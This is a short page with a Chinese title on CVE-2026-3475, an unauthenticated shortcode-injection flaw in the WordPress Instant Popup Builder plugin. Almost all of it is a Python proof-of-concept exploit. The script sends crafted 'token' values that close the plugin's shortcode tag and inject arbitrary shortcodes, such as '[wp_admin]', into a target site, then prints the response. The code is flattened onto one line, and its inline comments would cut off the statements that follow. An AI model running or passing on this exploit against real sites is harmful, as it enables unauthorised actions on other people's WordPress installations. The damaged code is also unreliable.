CVE-2026-3475 WordPress Instant Popup Builder未授权短代码执行漏洞

import requests # CVE-2026-3475 PoC - Unauthenticated Arbitrary Shortcode Execution # Target: WordPress site with Instant Popup Builder plugin <= 1.1.7 target_url = "http://target-wordpress-site.com/" # Example 1: Execute [wp_admin] shortcode if registered (check available shortcodes first) payload = "]" # Close the outer shortcode tag prematurely shortcode_injection = "[any_registered_shortcode_here]" # Inject arbitrary shortcode params = { 'token': payload + shortcode_injection, 'email': '[email protected]' } # Trigger the vulnerable endpoint response = requests.get(target_url, params=params) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # Example 2: More complex payload to execute admin shortcode payload2 = "]\[wp_admin]" # Close outer tag and open new shortcode params2 = { 'token': payload2, 'email': '[email protected]' } response2 = requests.get(target_url, params=params2) print(f"Exploit Response: {response2.text[:500]}")